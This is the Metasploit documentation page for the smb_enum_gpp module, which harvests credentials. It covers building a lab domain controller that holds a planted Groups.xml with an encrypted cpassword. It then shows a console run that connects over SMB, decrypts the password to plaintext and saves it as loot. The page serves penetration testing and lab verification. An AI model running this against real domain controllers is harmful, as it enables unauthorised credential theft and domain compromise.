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metasploit-framework/documentation/modules/auxiliary/scanner/smb/smb_enum_gpp.md

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Vulnerable Application

This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft's public AES key. This module has been tested successfully on a Win2k8 R2 Domain Controller.

Test Environment

This vulnerability was patched in 2014 but Group Policy Preference files can still be found in modern environments. Because of that it is necessary to have a means to test this vulnerability in a contrived way.

Starting from a Windows Server that has been configured as an Active Directory Domain Controller:

  1. Navigate to: %SystemRoot%\SYSVOL\sysvol\$domain\Policies where $domain is the name of the domain.
  2. Create a subfolder. These folders typically use UUIDs within braces (e.g. {31B2F340-016D-11D2-945F-00C04FB984F9}) but the name does not matter for testing purposes.
  3. In the new a new file (and the necessary parent folders) MACHINE\Preferences\Groups\Groups.xml.
  4. Place the contents below in the new Groups.xml file.
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
	<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}">
		<Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/>
	</User>
</Groups>

This example XML data was taken from the unit test.

Verification Steps

Example steps in this format (is also in the PR):

  1. Start msfconsole
  2. Do: use auxiliary/scanner/smb/smb_enum_gpp
  3. Do: set RHOSTS ...
  4. Do: set SMBUser ...
  5. Do: set SMBPass ...
  6. Do: run

Windows Server 2019 (Test Setup)

The following example use the contrived setup from the "Test Environment" section.

msf6 auxiliary(scanner/smb/smb_enum_gpp) > use auxiliary/scanner/smb/smb_enum_gpp 
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBUSER smcintyre
SMBUSER => smcintyre
msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(scanner/smb/smb_enum_gpp) > run

[*] 192.168.159.10:445    - Connecting to the server...
[*] 192.168.159.10:445    - Mounting the remote share \\192.168.159.10\SYSVOL'...
[+] 192.168.159.10:445    - Found Policy Share on 192.168.159.10
[*] 192.168.159.10:445    - Parsing file: \\192.168.159.10\SYSVOL\msflab.local\Policies\fake\MACHINE\Preferences\Groups\Groups.xml
[+] 192.168.159.10:445    - Group Policy Credential Info
============================

 Name               Value
 ----               -----
 TYPE               Groups.xml
 USERNAME           SuperSecretBackdoor
 PASSWORD           Super!!!Password
 DOMAIN CONTROLLER  192.168.159.10
 DOMAIN             msflab.local
 CHANGED            2013-04-25 18:36:07
 NEVER_EXPIRES?     1
 DISABLED           0

[+] 192.168.159.10:445    - XML file saved to: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_microsoft.window_053830.txt
[+] 192.168.159.10:445    - Groups.xml saved as: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_smb.shares.file_279441.xml
[*] 192.168.159.10:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_enum_gpp) >